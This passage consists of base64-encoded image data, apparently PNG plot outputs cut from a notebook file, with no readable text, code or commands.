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\n", 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GK0mSJEkKA8OVJEmSJIWB4UqSJEmSwsBwJUmSJElhYLiSJEmSpDA4bcJVdnY248aN46abbqJZs2bccMMNjB8/npycnLCNsXr1apKTk4/ZZsyYMYwZMybXsZSUFHr37n1cY1WsWPGY59PS0nj00UePq09JkiRJJ09UfhcQLo899hjbt29n2rRplChRgn379nHvvfdSvHhxbrnllvwuL+y+++470tLS8rsMSZIkSf/faRGutm7dyuzZs1myZAklSpQAoFixYgwYMIBNmzaxfft2+vbty3fffUdUVBQPPvggDRo04KeffqJfv3588cUXRERE0KVLF1q0aEFWVhYDBw7ko48+okyZMkRERNC1a9dcY27evJlBgwaxa9cuihQpQv/+/alSpcqv1pqcnEylSpX48MMPOXjwII8++ij169cnPT2dnj17sn//fq644opQ+23btvHoo4+yd+9evv/+exISErj//vt54oknSE9P57HHHmPgwIG89NJLvP322wQCAerXr0/Pnj2JiIjINfaSJUt47rnnyM7Oply5cjz++OMcOHCAxMRE/vnPf1K+fHmSkpJ4+OGHufbaaxk+fDhr1qwhEAiQmJjIbbfd9tv/WJIkSdJp6rQIV+vWraNChQqULFky1/EKFSpQoUIF7r//fmJiYujUqRNpaWm0a9eOmTNnMmHCBEqXLs3cuXPZuXMnrVq1olKlSnzwwQf89NNPvPPOO3z33XfExsYeNmavXr0YMGAAVapUYdOmTdx77728++67eap33759zJgxgw0bNnDHHXewcOFCHn/8cRITE2nVqhUzZ85k2rRpAMydO5fmzZuTkJDA3r17adiwIcnJyfTr14/nn3+egQMHsmTJElJTU3nrrbeIiIigZ8+ezJ49m/j4+NCYO3fuZOTIkUyePJmSJUsydepUnn76aYYMGUKPHj0YNGgQtWrVombNmlx33XW8/vrrAMyYMYPMzEy6dOlCtWrVuPrqq0/0zyTpFLR8+RIA6tVrkM+VSJL0x3dahCsg1yrNO++8w7hx4wgGgxQqVIj09HSeeOIJAMqXL88VV1zBp59+yqpVq3jyyScBOOecc2jSpAlr1qxhxYoVtG7dmoiICC644ALq1KmTa6yMjAxSU1Pp06dP6Nj+/fv58ccfiYiIOOw5r5ycnFz1tW7dGoDKlSsTHR3NF198wZo1axg5ciQAcXFx9OvXD4AuXbqwatUqXnnlFTZu3EhWVhY//fRTrv5XrlzJunXrSExMBODAgQOULVs2V5tPP/2ULVu20LFjRwCCwWAojCYlJfH2228zZ84c5s6dG+pzw4YNrFq1KnR/X3zxheFKOs1MmTIZMFxJkhQOp0W4qlatGl999RX79u2jWLFi3Hjjjdx4442kp6fTsWPHI4adQCBw1OORkZEEg8GjjvdzaJs1a1bo2NatWylVqhQlS5bkP//5T672O3bsyLWqFhkZmauvqKio0PhwKCgWKHDoXSPDhg0jLS2N5s2bc/3117NixYrD6g4EAtx666106tQJgD179uQa4+c2tWrVYvz48QAcPHiQjIyM0M9bt24lEAiwdetWLr30UgKBAD179qRp06bAoZWvs88++6hzIkmSJJ3pTou3BZYtW5a4uDh69erFnj17gENvD3z//fcpUKAAMTExvPXWW8Cht+x9/PHHXHnllbmO79y5kwULFnDNNddQt25d5s+fT05ODtu2bWPNmjW5Vp6KFy/OxRdfHApXy5cvD700o3bt2rz//vvs3LkTgL179zJ//vxcq1/z588H4N///jd79uzh8ssvp27dusyePRuA9957j4MHD4b67tKlCzfddBNff/0127ZtIxgMEhkZSXZ2NgAxMTHMmjWLjIwMsrOzj7hF8YorrmDt2rV8/fXXAIwdO5bhw4cD8OyzzxITE0OfPn3o06cPgUCAmJgY3njjDbKyssjIyKB9+/asXbs2LH8vSaeOzMyDZGYezO8yJEk6LZwWK1cAgwYNYuLEiXTs2JFAIEBGRga1a9fm73//O2eddRYDBgwgJSUFgCeeeILzzjuPe++9l0GDBhEbG0sgEODuu++matWqXH755Xz++efExsYSHR1N2bJlKVKkSK7teCNGjGDQoEG8/PLLFCxYkGeeeYaIiAguv/xy7rrrrtDLHwKBAK1ataJhw4aha9PS0khISADgmWeeITIykgEDBtCzZ0+mTZtGtWrVQqtEd911F4888ghFihTh/PPPp1q1aqSnp1O5cmX27t1Lz549GTFiBJ9//jmtW7cmEAhw7bXXhvq/44476N69O9WrV+fJJ5/kgQceIBgMUqZMGUaMGMHatWt59913mT17NsWKFWPGjBlMmDCB2267jc2bN5OQkEB2djaJiYnUrl379/hTSvodBQKB/C5BkqTTRkROOL8I6jTx/vvvk5OTQ6NGjdi7dy8tWrRg+vTplCpV6jf3nZycTLdu3c6IoLJjxz6CwRP/eEVHF+eHH/aGsaLTm/OVd87V/+ncuT0AEyZMOWob518E8EgAACAASURBVCvvnKvj43zl3Zk+V9HRxfO7BClPTpuVq3CqUKECjzzyCM8++ywA3bt3D0uwkiRJknT6MlwdQfny5UOvIg+3V1999aT0K0mSJCl/nRYvtJAkSZKk/Ga4kiRJkqQwMFxJkiRJUhj4zJUkncF++YXjkiTpxBmuJOkMVqhQ4fwuQZKk04bbAiVJkiQpDAxXkiRJkhQGbguUpDNY+/Yd87sESZJOG4YrSTqD1avXIL9LkCTptOG2QEmSJEkKA8OVJEmSJIWB4UqSJEmSwsBwJUmSJElhYLiSJEmSpDAwXEmSJElSGBiuJEmSJCkMDFeSJEmSFAaGK0mSJEkKA8OVJEmSJIWB4UqSJEmSwsBwJUmSJElhYLiSJEmSpDAwXEmSJElSGBiuJEmSJCkMDFeSJEmSFAaGK0mSJEkKgz9kuEpPT6dixYoMGDAg1/ENGzZQsWJFUlJSjqu/lJQUateuzfbt23ON0bhx42Nel5aWxqOPPgrAv//9b/r27QvAZ599xnXXXcctt9zC6NGjWbBgwXHVA7Bu3TpGjBgBwIIFCxg9evRx9yFJkiTp9xOV3wWcqFKlSrF06VICgQCRkZEAzJ8/n3POOeeE+svIyGDgwIG88MILeb7mu+++Iy0tDYDq1atTvXp1ABYtWkRcXBwPPfTQCdUCsGnTJnbs2AFAkyZNaNKkyQn3JUmSJOnk+0OuXAGcffbZVK5cmQ8++CB0bPny5dStWxeAihUrho6npKTQu3dvAJ566ini4uJo0aIFzz//fKjNDTfcwObNm5kzZ85hY/300088/PDDNG/enNjYWGbOnAnAE088QWpqKo899hirV68mOTmZxYsX8/rrrzN9+nSef/55evfuHVpJ+8c//sENN9xAs2bNQqtSX375JcnJySQlJdGoUSNef/119uzZw3PPPcfChQsZN25crvrXrl1Lq1atiIuL49Zbb2Xz5s0AJCcnM3z4cNq0acPf/vY3Fi9efNh9ZGRk0KtXLxITE4mPj2fu3LkADB06lJ49ewIwZ84c2rRpQyAQYN26dbRr146EhAQ6d+4cCpLSqWL58iUsX74kv8uQJEkC/sDhCuCmm27i3XffBQ5to6tYsSIFCxY8avtvv/2WJUuWMHv2bF5//XU2bdrEwYMHAShYsCBDhw5l2LBhubYHAowZM4bSpUszd+5cJk2axJgxY/j888/p168f1apVY+DAgaG2DRs2pG3btrRt25Zu3bqFjq9bt44pU6bw1ltvMXv2bD777DNSU1N588036dq1K9OnT2fy5MkMHz6cEiVK0L17dxo3bsw999wT6iMzM5OHHnqI/v37M3v2bNq2bZtrdSwrK4tp06bRp0+fI24jHDduHFWrViUlJYXXXnuN8ePHk5aWxoMPPkhqaipz585l1KhRDB8+nEAgQL9+/Rg5ciQzZsygU6dO9O/f/zj/QtLJNWXKZKZMmZzfZUiSJAF/4G2BAI0bN+bZZ58lGAzy9ttvc9NNNzF//vyjti9TpgyFCxembdu2NGrUiB49elC4cOHQ+erVq5OUlMTAgQPp06dP6PiqVat48sknATjnnHNo0qQJa9asybU69ms++OADGjVqRPHixYFDq1gAlStXZunSpbz44ot8+eWX7N+//6h9fPPNN5QoUYIaNWoAh8LlgAED2Lt3LwDXXnstAH/5y1/YtWvXYdevWLGCAwcOMH36dAD279/Pxo0bKV++PEOHDqVt27b079+fiy66iC+//JK0tLRc4W7fvn15vl9JkiTpTPOHDldnn302lSpV4qOPPmLVqlU8/PDDucJVTk4OERERZGdnAxAVFcWbb77JmjVrWLJkCW3btuXVV1/N1We3bt1ITEwMbZn7uZ//lpOTQyAQOK5ao6KiiIiICP2+bds2ihYtSt++fSlRogSNGjWiWbNmucb9pWAweNix/67l56D43+P88voRI0ZQtWpVALZv307JkiUB+PrrrznnnHNITU0NtS1XrhyzZs0CIBAIHLaiJ0mSJOn//KG3BcKh1ZuRI0dSrVo1oqL+LyuWLl2ajRs3kpOTw8KFCwFYv349HTp04K9//Su9evWiQoUKfP3117n6K1SoEEOHDmX8+PGhYzExMbz11lsA7Ny5kwULFnDNNdcQGRkZCm6/5uqrr2bx4sVkZGSQnZ3Nww8/TGpqKsuXL6d79+5cf/31LFly6NmRn1/S8cu+L730Unbt2sW6deuAQy/wKFu2LKVKlcpTDTExMbz++usAfP/998TFxbFlyxa2bdvGs88+y7Rp01i/fj2LFy/m0ksvZffu3Xz44YcATJ8+nR49euRpHOn3kpl5kMzMg/ldhiRJEnAahKtGjRqxYcMGmjVrluv4ww8/zN13302bNm245JJLAKhSpQpXXnklzZs3JyEhgcsuu4wGDRoc1mf16tW59dZbQ7/fe++97Nq1i9jYWDp06MDdd99N1apVqVChAnv37g29DOJYqlatSocOHWjbti3x8fFcffXV1K1bl/vuu4/27dvTrFkzPvroIy644ALS09OpUaMGn376KU8//XSoj0KFCvHMM8/w+OOP07x5c1577TWeeeaZY467YMGC0Cviu3XrxoEDB2jevDm33norPXv25MILL6R///506tSJ8uXLM3jwYAYOHMiBAwcYPXo0w4YNIzY2lhkzZjBkyJBfvU/p9xQIBI57FVmSJOlkicj55Z43KUx27NhHMHjiH6/o6OL88MPeMFZ0ejsT56tz5/YATJgw5biuOxPn6rdwvvLOuTo+zlfenelzFR1dPL9LkPLkD79yJUmSJEmnAsOVJEmSJIWB4UqSJEmSwsBwJUmSJElhYLiSJEmSpDD4Q3+JsKQzW2RkZH6XIEmSFGK4kvSHVahQ4fwuQZIkKcRtgZIkSZIUBoYrSZIkSQoDtwVK+sNq375jfpcgSZIUYriS9IdVr16D/C5BkiQpxG2BkiRJkhQGhitJkiRJCgPDlSRJkiSFgeFKkiRJksLAcCVJkiRJYWC4kiRJkqQwMFxJkiRJUhgYriRJkiQpDAxXkiRJkhQGhitJkiRJCgPDlSRJkiSFgeFKkiRJksLAcCVJkiRJYWC4kiRJkqQwMFxJkiRJUhgYriRJkiQpDAxXJ+Cxxx4jPj6eZs2aUa1aNeLj44mPj6dGjRps27aNpk2bsmHDhlD77t27c8MNN4R+379/PzVr1uTAgQN5Gi8lJYXevXuH/T4kSZIkhU9UfhfwRzRw4EAA0tPT6dixI7Nmzcp1PiYmho8//pjKlSsTCAT4/PPPKVasGGlpaZQvX561a9dy5ZVXUqRIkfwoX5IkSdJJ4MpVGDVu3Jj09PRQuAL49NNPqVy5MvXq1WPp0qUAfPjhh9SrVw+A8ePH06xZM2JjYxk2bBiBQID09HRuvPFG2rVrR6dOnXKNMWTIEB566CECgQDr1q2jXbt2JCQk0LlzZ9LS0gBITk6mW7du3HDDDblW0DIyMujVqxeJiYnEx8czd+5cAIYOHUrPnj0BmDNnDm3atDlm/5IkSZIOZ7g6CWJiYvjkk08AWLZsGfXr16devXosW7YMgA8++IB69eqxePFiFi5cyPTp05kxYwabN29m6tSpAHz99deMGDGCiRMnhvodM2YM27ZtY/jw4QQCAfr168fIkSOZMWMGnTp1on///qG2FStW5N1336Vy5cqhY+PGjaNq1aqkpKTw2muvMX78eNLS0njwwQd